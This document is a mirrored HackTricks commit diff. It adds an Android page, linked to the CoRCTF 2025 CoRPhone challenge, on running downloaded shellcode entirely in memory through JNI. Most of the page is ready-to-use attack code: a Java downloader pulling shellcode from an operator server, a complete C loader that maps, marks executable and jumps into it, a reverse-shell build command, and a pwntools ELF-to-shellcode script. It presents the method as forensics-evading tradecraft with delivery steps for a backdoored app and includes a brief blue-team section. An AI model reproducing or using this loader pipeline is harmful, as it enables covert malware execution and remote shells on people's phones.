mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Merge pull request #1393 from HackTricks-wiki/update_CoRCTF_2025___CoRPhone__Android_Kernel_Pwn_20250909_011737
CoRCTF 2025 — CoRPhone Android Kernel Pwn
This commit is contained in:
		
						commit
						68770fbcbd
					
				| @ -353,6 +353,7 @@ | ||||
|     - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) | ||||
|     - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) | ||||
|   - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) | ||||
|   - [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md) | ||||
|   - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) | ||||
|   - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) | ||||
|   - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) | ||||
|  | ||||
| @ -173,7 +173,41 @@ To update pwntools | ||||
| pwn update | ||||
| ``` | ||||
| 
 | ||||
| ## ELF → raw shellcode packaging (loader_append) | ||||
| 
 | ||||
| Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes). | ||||
| 
 | ||||
| Typical pipeline (amd64 example) | ||||
| 
 | ||||
| 1) Build a static, position‑independent payload ELF (musl recommended for portability): | ||||
| 
 | ||||
| ```bash | ||||
| musl-gcc -O3 -s -static -o exploit exploit.c \ | ||||
|   -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" | ||||
| ``` | ||||
| 
 | ||||
| 2) Convert ELF → shellcode with pwntools: | ||||
| 
 | ||||
| ```python | ||||
| # exp2sc.py | ||||
| from pwn import * | ||||
| context.clear(arch='amd64') | ||||
| elf = ELF('./exploit') | ||||
| sc = asm(shellcraft.loader_append(elf.data, arch='amd64')) | ||||
| open('sc','wb').write(sc) | ||||
| print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes") | ||||
| ``` | ||||
| 
 | ||||
| 3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process. | ||||
| 
 | ||||
| Notes | ||||
| - loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry. | ||||
| - Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android. | ||||
| - Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX. | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [Pwntools](https://docs.pwntools.com/en/stable/) | ||||
| - [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -228,6 +228,11 @@ bypass-biometric-authentication-android.md | ||||
| - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` | ||||
| - **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` | ||||
|   - [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) | ||||
| - In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): | ||||
| 
 | ||||
| {{#ref}} | ||||
| in-memory-jni-shellcode-execution.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| ### **Other tricks** | ||||
| 
 | ||||
| @ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th | ||||
| - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course | ||||
| - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) | ||||
| - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) | ||||
| - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) | ||||
| - [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) | ||||
| - [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097) | ||||
| - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) | ||||
| - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) | ||||
| - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) | ||||
| 
 | ||||
| ## Yet to try | ||||
| 
 | ||||
| - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) | ||||
| - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) | ||||
| - [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| 
 | ||||
|  | ||||
| @ -0,0 +1,125 @@ | ||||
| # Android In-Memory Native Code Execution via JNI (shellcode) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it. | ||||
| 
 | ||||
| Why it matters | ||||
| - Reduces forensic artifacts (no ELF on disk) | ||||
| - Compatible with “stage-2” native payloads generated from an ELF exploit binary | ||||
| - Matches tradecraft used by modern malware and red teams | ||||
| 
 | ||||
| High-level pattern | ||||
| 1) Fetch shellcode bytes in Java/Kotlin | ||||
| 2) Call a native method (JNI) with the byte array | ||||
| 3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint | ||||
| 
 | ||||
| Minimal example | ||||
| 
 | ||||
| Java/Kotlin side | ||||
| ```java | ||||
| public final class NativeExec { | ||||
|     static { System.loadLibrary("nativeexec"); } | ||||
|     public static native int run(byte[] sc); | ||||
| } | ||||
| 
 | ||||
| // Download and execute (simplified) | ||||
| byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes(); | ||||
| int rc = NativeExec.run(sc); | ||||
| ``` | ||||
| 
 | ||||
| C JNI side (arm64/amd64) | ||||
| ```c | ||||
| #include <jni.h> | ||||
| #include <sys/mman.h> | ||||
| #include <string.h> | ||||
| #include <unistd.h> | ||||
| 
 | ||||
| static inline void flush_icache(void *p, size_t len) { | ||||
|     __builtin___clear_cache((char*)p, (char*)p + len); | ||||
| } | ||||
| 
 | ||||
| JNIEXPORT jint JNICALL | ||||
| Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) { | ||||
|     jsize len = (*env)->GetArrayLength(env, sc); | ||||
|     if (len <= 0) return -1; | ||||
| 
 | ||||
|     // RW anonymous buffer | ||||
|     void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | ||||
|     if (buf == MAP_FAILED) return -2; | ||||
| 
 | ||||
|     jboolean isCopy = 0; | ||||
|     jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy); | ||||
|     if (!bytes) { munmap(buf, len); return -3; } | ||||
| 
 | ||||
|     memcpy(buf, bytes, len); | ||||
|     (*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT); | ||||
| 
 | ||||
|     // Make RX and execute | ||||
|     if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; } | ||||
|     flush_icache(buf, len); | ||||
| 
 | ||||
|     int (*entry)(void) = (int (*)(void))buf; | ||||
|     int ret = entry(); | ||||
| 
 | ||||
|     // Optional: restore RW and wipe | ||||
|     mprotect(buf, len, PROT_READ | PROT_WRITE); | ||||
|     memset(buf, 0, len); | ||||
|     munmap(buf, len); | ||||
|     return ret; | ||||
| } | ||||
| ``` | ||||
| 
 | ||||
| Notes and caveats | ||||
| - W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed. | ||||
| - Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators). | ||||
| - Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC). | ||||
| - Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM. | ||||
| 
 | ||||
| Packaging ELF → position‑independent shellcode | ||||
| A robust operator pipeline is to: | ||||
| - Build your exploit as a static ELF with musl-gcc | ||||
| - Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append | ||||
| 
 | ||||
| Build | ||||
| ```bash | ||||
| musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \ | ||||
|   -DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\"" | ||||
| ``` | ||||
| 
 | ||||
| Transform ELF to raw shellcode (amd64 example) | ||||
| ```python | ||||
| # exp2sc.py | ||||
| from pwn import * | ||||
| context.clear(arch='amd64') | ||||
| elf = ELF('./exploit') | ||||
| loader = shellcraft.loader_append(elf.data, arch='amd64') | ||||
| sc = asm(loader) | ||||
| open('sc','wb').write(sc) | ||||
| print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}") | ||||
| ``` | ||||
| 
 | ||||
| Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpy’ed and executed by the app. | ||||
| 
 | ||||
| Delivery | ||||
| - Host sc on an HTTP(S) server you control | ||||
| - The backdoored/test app downloads sc and invokes the JNI bridge shown above | ||||
| - Listen on your operator box for any reverse connection the kernel/user-mode payload establishes | ||||
| 
 | ||||
| Validation workflow for kernel payloads | ||||
| - Use a symbolized vmlinux for fast reversing/offset recovery | ||||
| - Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ) | ||||
| 
 | ||||
| Hardening/Detection (blue team) | ||||
| - Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy) | ||||
| - Enforce strict code integrity (no dynamic native loading from network) and validate update channels | ||||
| - Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps | ||||
| 
 | ||||
| References | ||||
| - [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone) | ||||
| - [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh) | ||||
| - [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py) | ||||
| - [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c) | ||||
| - [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| @ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### See also: in‑memory native code execution via JNI | ||||
| 
 | ||||
| A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here: | ||||
| 
 | ||||
| {{#ref}} | ||||
| in-memory-jni-shellcode-execution.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| --- | ||||
| 
 | ||||
| ### Recent vulnerabilities worth hunting for in APKs | ||||
| 
 | ||||
| | Year | CVE | Affected library | Notes | | ||||
| @ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their | ||||
| - SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap) | ||||
| - SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases) | ||||
| - How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13) | ||||
| - [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user